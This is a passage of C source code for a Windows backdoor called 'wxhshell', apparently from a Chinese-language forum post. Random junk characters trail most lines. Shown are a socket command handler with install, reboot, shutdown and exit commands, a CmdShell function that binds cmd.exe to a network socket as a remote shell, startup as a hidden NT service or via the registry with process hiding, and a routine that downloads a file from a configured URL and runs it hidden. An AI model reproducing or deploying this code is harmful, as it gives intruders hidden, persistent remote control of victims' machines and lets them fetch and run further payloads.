  else { v~KgCLo  
~@ML>z 7  
    switch(cmd[0]) { l g43  
  w ;]~2$  
  // 帮助 ] :n! \G  
  case '?': { hWAZP=H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BkJNu_{m?  
    break; 0Q5fX}  
  } {Ax{N  
  // 安装 ;To][J  
  case 'i': { XHYVcwmDz-  
    if(Install()) 57rH`UFXH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]}A3Pm- t*  
    else R6E.C!EI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W?2Z31;7  
    break; /2fQM_ ,P  
    } MB!$s_~o#L  
  // 卸载 5o2|QL  
  case 'r': { ,%U'>F?  
    if(Uninstall()) .?LP$O=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xw]L'+V=  
    else .TKKjS%8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :GN7JxD#  
    break; +?y9EZB%  
    } tY0C& u2  
  // 显示 wxhshell 所在路径 =N<Z@'c  
  case 'p': { rF)[ Sed:T  
    char svExeFile[MAX_PATH]; 1%k$9[!l%  
    strcpy(svExeFile,"\n\r"); 6+ C7vG`  
      strcat(svExeFile,ExeFile); xSL%1>MrN  
        send(wsh,svExeFile,strlen(svExeFile),0); PNG!q}(c  
    break; L0EF CQ7  
    } {/K_NSg+h  
  // 重启 ~[3B<^e  
  case 'b': { m\;@~o'k  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Jwe9L^gL  
    if(Boot(REBOOT)) KV]8o'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /><+[\q4LM  
    else { {n-6e[  
    closesocket(wsh); MNV OloA  
    ExitThread(0); m+'vrxTY  
    } !)+8:8H'  
    break; 3%DDN\q\u  
    } " twq#Alx  
  // 关机 \K%A}gnHe  
  case 'd': {  >q^l  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vY'E+M"+@  
    if(Boot(SHUTDOWN)) qgk6 \&K[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %eQw\o,a  
    else { `AcT}. u  
    closesocket(wsh); -Gn0TA2/C  
    ExitThread(0); uBqZ62{G  
    } #P5tTCM  
    break; T Z_](%  
    } 7FvtWE*  
  // 获取shell ar[*!:!  
  case 's': { ]q<Zc>OC  
    CmdShell(wsh); tZqy \_G  
    closesocket(wsh); fLR\@f  
    ExitThread(0); iz5WWn^  
    break; f]37Xl%I  
  } C">w3#M%  
  // 退出 18];fC  
  case 'x': { EH~XN9b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -9> oB  
    CloseIt(wsh); 8}<4f|?  
    break; Y!nxHRE  
    } ! C|VX,w  
  // 离开 |Y|gT*v  
  case 'q': { t-3y`31i.  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7qT>wCVT  
    closesocket(wsh); 1:VbbOu->V  
    WSACleanup(); <{k r5<  
    exit(1); kZJ.G  
    break; )ND%MYJSq  
        } D0HLU ~o  
  } P8=!/L2?  
  } l4smAT  
M73d^z  
  // 提示信息 9e>Dqlv  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p`}'-A|@  
} +ew9%={zB  
  } Ql.abU  
i_kKE+Q  
  return; M8}t`q[-&  
} f_qW+fN::s  
AV:P/M^B  
// shell模块句柄 5\\a49k.p  
int CmdShell(SOCKET sock) qt{{q  
{ "JJEF2e@Z  
STARTUPINFO si; 4g}'/  
ZeroMemory(&si,sizeof(si)); MPI=^rc2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NQ"`F,T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K6X}d,g  
PROCESS_INFORMATION ProcessInfo; '&n4W7  
char cmdline[]="cmd"; LCf)b>C*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); di5>aAJ)D  
  return 0; 1@L|EFa  
} Gn7P` t*.  
% XS2 ;V  
// 自身启动模式 ne (zGJd  
int StartFromService(void) 6 7{>x[  
{ AQ` `Dp  
typedef struct klwNeGF]N  
{ !.}ZlA  
  DWORD ExitStatus; 4<{]_S6"0y  
  DWORD PebBaseAddress; i9 Tq h  
  DWORD AffinityMask; W`2Xn?g  
  DWORD BasePriority; %=GF  
  ULONG UniqueProcessId; 1QPS=;|)  
  ULONG InheritedFromUniqueProcessId; cN(Toj'`  
}   PROCESS_BASIC_INFORMATION; W$bQS!7y  
p3R: 3E6p  
PROCNTQSIP NtQueryInformationProcess; svTKt%6X  
^^C@W?.z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; * c1)x  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y!C8@B$MR3  
4>I >y@^  
  HANDLE             hProcess; _I1:|y  
  PROCESS_BASIC_INFORMATION pbi; okv`+VeA  
?cRGdLP'D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yoc;`hO-  
  if(NULL == hInst ) return 0; Z2cumx(  
Sq Y$\&%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6-oy%OnN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 2S^:fm}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rrL gBeQa  
Un[ 0or  
  if (!NtQueryInformationProcess) return 0; 8nSEAr~  
Jv+N/+M47  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yy*8Aw}  
  if(!hProcess) return 0; CfMCc:8mL  
bh&Wy<Y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4,)EG1  
O7of9F~"  
  CloseHandle(hProcess); {#o0vWS>  
do$+ Eh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v+b#8  
if(hProcess==NULL) return 0; ]QbT%0  
R5KOai!  
HMODULE hMod; "xK#%eJjWd  
char procName[255]; :fx^{N!T  
unsigned long cbNeeded; >L_nu.x  
*\!>22*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); W7PL]5y&  
xxS>O%  
  CloseHandle(hProcess); *?v_AZ  
%/:0x:ns  
if(strstr(procName,"services")) return 1; // 以服务启动 }\$CU N  
BD.>aAi!  
  return 0; // 注册表启动 b$W~w*O   
} %&[=%zc  
Wq}Y|0c  
// 主模块 818,E  
int StartWxhshell(LPSTR lpCmdLine) RNMd,?dj  
{ &Fg|52  
  SOCKET wsl; bMp[:dw`y  
BOOL val=TRUE; i] I{7k  
  int port=0; P1u(0t  
  struct sockaddr_in door; 5HqvSfq>?  
!CGpE=V  
  if(wscfg.ws_autoins) Install(); Z&![W@m@0N  
A6Vb'Gqv{  
port=atoi(lpCmdLine); \)'5V!B|s  
FMNT0  
if(port<=0) port=wscfg.ws_port; `$oy4lDKQ  
p`I[3/$3  
  WSADATA data; ^1mnw@04  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; N}\%r&KR=  
o0}kRL  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6a!b20IZh  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V<&^zIJUR  
  door.sin_family = AF_INET; KKcajN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \M U-D,@  
  door.sin_port = htons(port); WM8])}<L  
z55g'+Kab  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W Yo>Md 8  
closesocket(wsl); ~4V-{-=0a7  
return 1; 5>!I6[{  
} ^(+@uuBx  
dzRnI*  
  if(listen(wsl,2) == INVALID_SOCKET) { 7zcmv"`  
closesocket(wsl); ;#XF.l,u  
return 1; Z(Z$>P&4  
} >.1d1#+b  
  Wxhshell(wsl); mTU[khEmL=  
  WSACleanup(); e,D RQ2AU  
F"| ;  
return 0; s^R$u"pFs  
3\2^LILLO  
} eZdFfmYW^R  
7I=vgT1F  
// 以NT服务方式启动 Z/e^G f#i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *bl|[(pP  
{ 6c[Slq!KA  
DWORD   status = 0; +k{l]-)1  
  DWORD   specificError = 0xfffffff; Q79WGW  
8JojKH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +|6E~#zklY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }Dx5W9Ri"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; fJK;[*&Y  
  serviceStatus.dwWin32ExitCode     = 0; ;;}}uW=  
  serviceStatus.dwServiceSpecificExitCode = 0; #B6$ r/%  
  serviceStatus.dwCheckPoint       = 0; 8'-E>+L   
  serviceStatus.dwWaitHint       = 0; ql I1<Jx  
pqDlg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rKkFflOVO  
  if (hServiceStatusHandle==0) return; :/\KVz'fw}  
DCSmEy`.  
status = GetLastError(); otmyI;v 7<  
  if (status!=NO_ERROR) qS/ 'Kyp_  
{ '>:%n  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k[a5D/b  
    serviceStatus.dwCheckPoint       = 0; sp7#e%R\  
    serviceStatus.dwWaitHint       = 0; b>@fHmpwD  
    serviceStatus.dwWin32ExitCode     = status; ZfU &X{  
    serviceStatus.dwServiceSpecificExitCode = specificError; _Rk>yJD7s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vs2xx`Y<Lq  
    return; ]vjMfT%]W  
  } 4&<zkAMR  
*],= !  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; V(=3K"j  
  serviceStatus.dwCheckPoint       = 0; R,+"^:}  
  serviceStatus.dwWaitHint       = 0; 'NN3XyD  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xzb{g,c   
} nkkUby9  
c?}{>ig/)  
// 处理NT服务事件,比如:启动、停止 i;<K)5Z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1Gw_S?$7  
{ G7k.YtW  
switch(fdwControl) bW2Msv/H  
{ :a*F>S!  
case SERVICE_CONTROL_STOP: c|F26$rv  
  serviceStatus.dwWin32ExitCode = 0; F#Bi*YY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +a|u,'u  
  serviceStatus.dwCheckPoint   = 0; 7,3 g{8  
  serviceStatus.dwWaitHint     = 0; A",Xn/d  
  { JpZ3T~Wrf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); GXwQ )P5]  
  } 98Im/v  
  return; SD.c 9  
case SERVICE_CONTROL_PAUSE: ]htx9ds=  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; \79aG3MyK  
  break; &`}ACTY'P  
case SERVICE_CONTROL_CONTINUE: /rnP/X)T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Q5c13g2(c  
  break; X=[`+=  
case SERVICE_CONTROL_INTERROGATE: k8w:8*y'.  
  break; _Kv;hR>  
}; {PkPKp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I@uin|X  
} [(iJj3s!  
Tl S 904'  
// 标准应用程序主函数 66'AaA;0^i  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IRbZ ;*3dO  
{ 7,ffY/  
x?2y^3<5  
// 获取操作系统版本 (P 9$Ei0fv  
OsIsNt=GetOsVer(); TB#oauJm,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 0c]3 ,#  
$Hal]  
  // 从命令行安装 24I~{Qy  
  if(strpbrk(lpCmdLine,"iI")) Install(); yG:Pg MrB  
18JAca8Zs  
  // 下载执行文件 r(Y@;  
if(wscfg.ws_downexe) { k7=mxXF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3M[5_OK   
  WinExec(wscfg.ws_filenam,SW_HIDE); ePY69!pO5e  
} ol@LLT_m  
TN.&FDqC9  
if(!OsIsNt) { N=;VS-  
// 如果时win9x,隐藏进程并且设置为注册表启动 YA@OA$`E  
HideProc(); 6@J)k V  
StartWxhshell(lpCmdLine); L7B(abT9e  
} F17nWvF  
else =Cp}iM  
  if(StartFromService()) F2Co Xe7  
  // 以服务方式启动 ' 4 Kf  
  StartServiceCtrlDispatcher(DispatchTable); W_ubgCB  
else 7_]Bu<{f  
  // 普通方式启动 ?&"!,  
  StartWxhshell(lpCmdLine); sRSy++FRF  
-MItZ  
return 0; ~ MW_=6U  
}
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只看该作者 1 发表于: 2006-10-10
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